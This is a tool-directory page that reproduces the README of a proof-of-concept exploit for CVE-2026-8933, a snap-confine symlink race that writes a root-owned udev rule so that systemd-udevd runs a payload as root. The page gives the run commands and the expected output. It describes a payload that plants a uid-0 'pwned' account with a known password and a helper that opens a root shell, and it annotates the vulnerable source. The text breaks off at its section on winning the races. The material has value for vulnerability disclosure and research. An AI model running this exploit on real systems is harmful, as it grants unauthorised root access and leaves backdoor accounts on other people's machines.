Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-8933 — Working PoC for CVE-2026-8933: a snap-confine mount-namespace symlink race that plants a root-owned udev rule, yielding local root via systemd-udevd. | Kitploit
Tools/GitHubGitHub/songzzzz/cve-2026-8933
Privilege EscalationVulnerability AnalysisExploitationPayload Development
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

Working PoC for CVE-2026-8933: a snap-confine mount-namespace symlink race that plants a root-owned udev rule, yielding local root via systemd-udevd.

View Repository
120 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-8933 — snap-confine mount-namespace race → local root shell

Working PoC. Full local privilege escalation reproduced end-to-end, from an unprivileged user (uid 1000) to a real uid-0 root shell — no password, no interaction, no pre-existing privileges.

An unprivileged process makes the set-capabilities snap-confine write a root-owned udev rule into the host's /run/udev/rules.d/; systemd-udevd then executes the rule's PROGRAM= payload as root. The built-in payload plants a uid-0 account with a known password, so su - pwned (or ./_rootshell.py) hands out a root shell.

Componentsnap-confine → sc_replicate_base_rootfs() (snapd 2.73 source in _msc_273.c; the tested host ran snapd 2.76.3 and was still exploitable)
ClassLocal privilege escalation (symlink race → arbitrary root-owned file creation in /run/udev/** → code execution as root)
Resultuid=0(root) shell from an unprivileged account
Reliability16 runs: 7 succeeded on the first attempt, the rest on the second; never more than 2
Portabilityhost-independent: target snap, app name, cgroup scope, uid and snap-confine path are all detected at run time
Root needednone (see §9)

Contents

TL;DR · 1. Quick start · 2. Requirements · 3. What you should see · 4. The bug · 5. Winning the races · 6. Payload · 7. Package contents · 8. Configuration · 9. Privileges & cleanup · 10. Impact & fix · Troubleshooting · References · Disclaimer

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

Expected output (abridged):

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

The driver cleans up after itself (rule, payload, planted account, scratch directories and their mounts). KEEP=1 keeps the account so the root shell can be used interactively afterwards:

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. Quick start

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts] builds t18 + _ftrig, detects the target, runs the exploit until it wins, triggers udevd, verifies the root payload and cleans up. 100% 12 is the value used for all measurements below; 0.3% 40 also works (tighter quota, more attempts).

Before touching anything the driver prints the auto-detected target:

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. Requirements

  • a systemd host (user manager running — the exploit drives cgroup.freeze on the user scope),
  • vulnerable snap-confine, installed set-capabilities (cap_chown,cap_dac_override,cap_sys_admin,…) — not set-uid-root,
  • gcc + libfuse3 (pkg-config fuse3) to build t18 and _ftrig,
  • at least one installed snap whose /snap/<snap>/current directory contains a regular file at its top level — that DT_REG entry is what makes the vulnerable open() run (e.g. firefox, core22, …). Any such snap works; SNAP=<name> forces a specific one.

./t18 info prints snap, app, base, unit, scope, confine and the number of entries/regular files of the detected target, and exits — a quick way to see whether a host is exploitable with the snaps it has installed.

3. What you should see

Evidence of a winning attempt

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

The file created by the root-privileged snap-confine, on the host:

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

and the payload script it points at (written by uid 1000, executed by systemd-udevd as uid 0):

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine dies right after, on the AppArmor-denied bind mount of the same entry — the file is already created and filled at that point.

Root shell

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

Reliability

16 runs of _t18poc.sh across the research and the final generic build all ended in the LPE (7 of them on the first attempt, the rest on the second); no run needed more than 2 attempts. Each run cleans up after itself (rule, payload, planted account, scratch dirs and their mounts).

4. The bug

snapd 2.73, sc_replicate_base_rootfs() (source in _msc_273.c):

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);

snap-confine is installed set-capabilities (cap_chown, cap_dac_override, cap_sys_admin, …), not set-uid-root, so it keeps the unprivileged euid while carrying near-root capabilities. Consequences:

  • mkdtemp() creates /tmp/snap.rootfs_XXXXXX owned by the attacker (between lines 511 and 362), and
  • open(full_path, O_CREAT|O_TRUNC, 0644) follows symlinks (no O_NOFOLLOW) and the resulting file is the attacker's until the fchown() two lines later.

Both windows are exploitable by an unprivileged local user, which is what this PoC does.

5. Winning the races

Download Tool